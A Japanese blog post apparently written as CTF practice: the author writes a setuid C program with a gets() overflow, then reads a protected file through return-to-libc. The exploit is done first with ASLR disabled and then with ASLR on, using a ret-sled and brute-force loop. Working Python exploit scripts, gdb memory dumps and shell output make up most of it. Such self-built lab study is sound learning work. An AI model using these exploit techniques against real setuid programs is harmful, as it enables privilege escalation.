CTF Exploitの練習
CTF(セキュリティ関係のクイズ)でExploit(プログラムの脆弱性を突く)問題がさっぱり解けないので、練習した。
問題
こんな問題を自作した。
[kusano@madoka exploittest]$ ll 合計 16 -rwsrwxr-x 1 secret secret 5078 2011-10-05 23:50 crypt -rw-rw-r-- 1 secret secret 141 2011-10-05 23:49 crypt.cpp -rw------- 1 secret secret 88 2011-10-05 23:56 secret.txt
crypt.cpp
#include <stdio.h> #include <string.h> int main() { char buf[256]; gets( buf ); memfrob( buf, strlen(buf) ); puts( buf ); }
これは入力された文字列を暗号化して出力するだけのプログラム。memfrobはstring.hで宣言されている、各文字ごとに42(0x2a)とのxorをとるだけの関数。実行の様子。
[kusano@madoka exploittest]$ ./crypt I_Love_You cufE\OusE_ [kusano@madoka exploittest]$ ./crypt cufE\OusE_ I_Love_You
cryptには256文字以上の文字列が入力されると、バッファオーバーランが発生する脆弱性がある。
[kusano@madoka exploittest]$ ./crypt aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKK Segmentation fault
所有者がsecretでsuidされているので、その脆弱性を突いてsecretの権限を奪取し、secretしか読めないファイルsecret.txtが読めれば成功。
具体的には、
execl("/bin/cat","/bin/cat","/home/kusano/exploittest/secret.txt",NULL)
が実行できれば良い。systemだと、単に呼ぶだけではだめで、
setuid(0) system("/bin/cat /home/kusano/exploittest/secret.txt")
と先にsetuidを呼ぶ必要があるらしい。参考。今回はcryptの所有者がrootではなく一般ユーザーで、一般ユーザーは実ユーザーIDを変更できないから、systemを使うのは無理? 良く分からん。
2014/08/03 追記
setreuidを使えば良いらしい。
setuidのプログラムからシェルを起動する - kusano_kの日記
難しい所
バッファオーバーランは有名な脆弱性で攻撃方法もあちこちで解説されている。IPAの資料がとても分かりやすい。政府機関が、こんなハッキングの方法を詳しく書いた資料を公開して良いのかと心配になるくらい。
でも、これをそのまま実行しようとしても、今時のOSには色々対策が施されていて成功しない。プログラムを動かしているのは、特にセキュリティに気を使うこともなくデフォルトのままのFedora。
アドレス空間配置のランダム化(ASLR)
IPAの解説では、リターンアドレスを送り込んだシェルコードのアドレス(0xbffff74c)で上書きしているけど、ASLRという仕組みがあって、シェルコードが置かれるスタックのアドレスが実行する度に変わる。printfなどの関数の本体のアドレスも毎回変わる。下のプログラムではスタックに確保した変数aとprintfのアドレスを表示している。自分のプログラム中の関数のアドレスは、コンパイル時に-fPIEというオプションを指定しない限りは、変わらない。
[kusano@madoka exploittest]$ cat aslr.cpp #include <stdio.h> int main() { int a; printf("a : %010p\n",&a); printf("printf: %010p\n", **(int **)((char *)printf+2) ); printf("main : %010p\n",main); } [kusano@madoka exploittest]$ g++ -m32 aslr.cpp -o aslr [kusano@madoka exploittest]$ ./aslr a : 0xffc10c8c printf: 0x001596e0 main : 0x08048414 [kusano@madoka exploittest]$ ./aslr a : 0xffe06e7c printf: 0x00b586e0 main : 0x08048414 [kusano@madoka exploittest]$ ./aslr a : 0xfffaa06c printf: 0x001596e0 main : 0x08048414
スタックが実効できない
そもそもスタックに置いたコードが実行できない。文字列定数なら実行できるけれど、スタック上の変数(f)に代入するとダメ。謎の文字列は、Short Coding 〜職人達の技法〜に載っていた、整数を比較する関数。
[kusano@madoka exploittest]$ cat > stack.cpp #include <stdio.h> #include <stdlib.h> int main() { int a[] = {2,5,6,0,3,7,4,1}; //const char *f = "YXZQQQ\x8b\0+\x02\xc3"; // 動く char f[] = "YXZQQQ\x8b\0+\x02\xc3"; // 動かない qsort(a,8,sizeof (int),(int(*)(const void *,const void*))f); for ( int i=0; i<4; i++ ) printf(" %d",a[i]); printf("\n"); } [kusano@madoka exploittest]$ g++ -m32 stack.cpp -o stack [kusano@madoka exploittest]$ ./stack Segmentation fault
プログラムを書き換えられない
スタックに書いたコードが実行できないならば、なんとかしてプログラムを書き換えよう、と思ってもプログラムが書き換えられない。
[kusano@madoka exploittest]$ cat > code.cpp #include <stdio.h> int f(int a,int b) { return a+b; } int main() { *(int *)f = 123; printf("ok"); } [kusano@madoka exploittest]$ g++ -m32 code.cpp -o code [kusano@madoka exploittest]$ ./code Segmentation fault
ASLR無効
まずは、ASLRを無効にした状態での攻撃成功を目指す。
[kusano@madoka exploittest]$ sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space" [kusano@madoka exploittest]$ ./aslr a : 0xffffd70c printf: 0x002ad6e0 main : 0x08048414 [kusano@madoka exploittest]$ ./aslr a : 0xffffd70c printf: 0x002ad6e0 main : 0x08048414
Return-to-libc攻撃という手法がある。要は、リターンアドレスを、シェルコードのアドレスではなく、execlのアドレスにして、スタックをexeclを呼び出すときと同じ状態にすれば良い。実行されるのはスタックに置いたコードではなく、execl。
gdbを使って、execlのアドレスを調べる。
[kusano@madoka exploittest]$ gdb crypt (略) (gdb) start (略) (gdb) p execl $1 = {<text variable, no debug info>} 0x300670 <execl>
execl = 0x300670 ....〆(・ω・` )メモメモ
文字列"/bin/cat"と"/home/kusano/exploittest/secret.txt"は引数を使ってメモリに置くことにする。どこのアドレスに置かれるかは、実行するときのデバッガの有無などで変わるので、一度実行して落として、コアダンプを調べる。suidされたプログラムはコアダンプを出力しなかったので、別ファイルにコピー。
[kusano@madoka exploittest]$ ulimit -c unlimited [kusano@madoka exploittest]$ cp crypt crypt2 [kusano@madoka exploittest]$ ./crypt2 /bin/cat /home/kusano/exploittest/secret.txt aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKK Segmentation fault (コアダンプ) [kusano@madoka exploittest]$ gdb core.23630 (略) (gdb) x/1024xb $esp (略) 0xffffd8b0: 0x00 0x00 0x2e 0x2f 0x63 0x72 0x79 0x70 0xffffd8b8: 0x74 0x00 0x2f 0x62 0x69 0x6e 0x2f 0x63 0xffffd8c0: 0x61 0x74 0x00 0x2f 0x68 0x6f 0x6d 0x65 0xffffd8c8: 0x2f 0x6b 0x75 0x73 0x61 0x6e 0x6f 0x2f 0xffffd8d0: 0x65 0x78 0x70 0x6c 0x6f 0x69 0x74 0x74 0xffffd8d8: 0x65 0x73 0x74 0x2f 0x73 0x65 0x63 0x72 0xffffd8e0: 0x65 0x74 0x2e 0x74 0x78 0x74 0x00 0x48 0xffffd8e8: 0x4f 0x53 0x54 0x4e 0x41 0x4d 0x45 0x3d
/bin/cat = 0xffffd8ba /home/kusano/ = 0xffffd8c3 ....〆(・ω・` )メモメモ
ということで、バッファオーバーランで次のスタックの状態を作れば良い。
0x00300670 ←この位置にmainからのリターンアドレスがある 0xdeadbeef ←なんでも良い 0xffffd8ba 0xffffd8ba 0xffffd8c3 0x00000000
攻撃。memfrobでxor 42されるので、あらかじめxor 42しておく。真面目に計算するのが面倒なのでaの個数は適当に色々試した。
[kusano@madoka exploittest]$ cat attack.py #!/usr/bin/python from struct import pack a = [ 0x00300670, 0xdeadbeef, 0xffffd8ba, 0xffffd8ba, 0xffffd8c3, 0x00000000, ] print "a"*268+"".join(chr(ord(x)^42) for x in pack("I"*len(a),*a)) [kusano@madoka exploittest]$ ./attack.py | ./crypt /bin/cat /home/kusano/exploittest/secre t.txt KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKp0 ライオンは、死を縫合する峡谷で新たなる思想に出会うだろう。 [kusano@madoka exploittest]$ sudo cat secret.txt ライオンは、死を縫合する峡谷で新たなる思想に出会うだろう。
成功。キタ━━━━━━(゚∀゚)━━━━━━ !!
ASLR有効
ASLRを有効にする。
[kusano@madoka exploittest]$ sudo sh -c "echo 2 > /proc/sys/kernel/randomize_va_space" [sudo] password for kusano: [kusano@madoka exploittest]$ ./aslr a : 0xffccf6bc printf: 0x002466e0 main : 0x08048414 [kusano@madoka exploittest]$ ./aslr a : 0xffb0849c printf: 0x00d376e0 main : 0x08048414
スタックのアドレスが実行ごとに変化するので、先ほどのように攻撃コードにexeclの引数のアドレスを書くことができない。引数にしたいアドレスがスタック上にある場合にはそれを利用すれば良いらしい。今回はプログラムの引数としてexeclの引数を渡すことにしたので、/bin/catを2回渡せば、ちょうどmainの引数のargvが使える。
[kusano@madoka exploittest]$ python -c "print 'a'*300" | ./crypt2 /bin/cat /bin/cat /home/ kusano/exploittest/secret.txt KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKK Segmentation fault (コアダンプ) [kusano@madoka exploittest]$ gdb core.23787 (略) (gdb) x/2048xw $esp-512 (略) 0xffc97140: 0xffc97150 0x0000012c 0x00ab351c 0x00000004 0xffc97150: 0x4b4b4b4b 0x4b4b4b4b 0x4b4b4b4b 0x4b4b4b4b 0xffc97160: 0x4b4b4b4b 0x4b4b4b4b 0x4b4b4b4b 0x4b4b4b4b (略) 0xffc972f0: 0x08048540 0x00aa3d50 0xffc972fc 0x00ab3900 0xffc97300: 0x00000004 0xffc978a6 0xffc978af 0xffc978b8 0xffc97310: 0xffc978c1 0x00000000 0xffc978e5 0xffc978f5 0xffc97320: 0xffc97900 0xffc97910 0xffc9791e 0xffc97943 (略) 0xffc97890: 0x00000000 0x00000000 0x00000000 0x00000000 0xffc978a0: 0x00000000 0x2f2e0000 0x70797263 0x2f003274 0xffc978b0: 0x2f6e6962 0x00746163 0x6e69622f 0x7461632f 0xffc978c0: 0x6f682f00 0x6b2f656d 0x6e617375 0x78652f6f 0xffc978d0: 0x696f6c70 0x73657474 0x65732f74 0x74657263 0xffc978e0: 0x7478742e 0x534f4800 0x4d414e54 0x616d3d45 0xffc978f0: 0x616b6f64 0x52455400 0x74783d4d 0x006d7265
bufのアドレスが0xffc97150、(ASLR無しの成功例から)リターンアドレスが0xffc97150+0x10c、/bin/cat(0xffc978af, 0xffc978b8)を示すポインタのアドレスが0xffc97308と0xffc9730c、/home/kusano/exploittest/secret.txt(0xffc978c1)を示すポインタのアドレスが0xffc97310。これらのアドレスの相対位置はASLRが有効でも変化しない。argvのあるところまでスタックを進めるためには、retのアドレスを詰めておけば良い。
[kusano@madoka exploittest]$ gdb crypt (略) (gdb) disass main Dump of assembler code for function main: 0x08048494 <+0>: push %ebp (略) 0x080484da <+70>: ret End of assembler dump.
ret = 0x080484da ....〆(・ω・` )メモメモ
バッファオーバーランによって、スタックを↓のようにする。bufの開始位置を起点にした相対アドレス。
0x0000: 0x4b4b4b4b ← bufの開始位置 0x0004: 0x4b4b4b4b : 0x0108: 0x4b4b4b4b 0x010c: 0x080484da ← リターンアドレス 0x0110: 0x080484da 0x0114: 0x080484da : 0x01ac: 0x080484da 0x01b0: 0x???????? ← ここにexeclのアドレスを入れる 0x01b4: 0xffc348af 0x01b8: 0xffc348b8 ← (/bin/cat)元々この値 0x01bc: 0xffc348b8 ← (/bin/cat)元々この値 0x01c0: 0xffc348c1 ← (/home/kusano/exploittest/secret.txt)元々この値 0x01c4: 0x00000000 ← 元々この値
これでスタックのアドレスに依存せずに攻撃できる。後はexeclのアドレスだが、数打てば当たるらしい。上位8ビットは0(Ascii armor)だし、下位12ビットは固定なので、それほど自由度が無いと。
[kusano@madoka exploittest]$ gdb crypt (略) (gdb) start (略) (gdb) p execl $1 = {<text variable, no debug info>} 0x367670 <execl>
攻撃。変な処理に飛ぶ可能性があるから、別のユーザーで実行した方がいいのかも。
[kusano@madoka exploittest]$ cat attack.py #!/usr/bin/python from struct import pack a = [0x4b4b4b4b]*0x43+[0x080484da]*0x29+[0x00367670] print "".join(chr(ord(x)^42) for x in pack("I"*len(a),*a)) [kusano@madoka exploittest]$ for a in $(seq 1 10000) > do > echo $a > if ./attack.py | ./crypt /bin/cat /bin/cat /home/kusano/exploittest/secret.txt > then > break > fi > done 0 KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKpv 6 Segmentation fault 1 KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKpv 6 Segmentation fault 2 KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKpv 6 Segmentation fault 3 KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKpv 6 Segmentation fault (略) 1726 KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKpv 6 ライオンは、死を縫合する峡谷で新たなる思想に出会うだろう。
キタ━━━━━━(゚∀゚)━━━━━━ !! 今回は攻撃文字列中の\0が最後だけなので、memfrobが無くても、攻撃が可能なはず。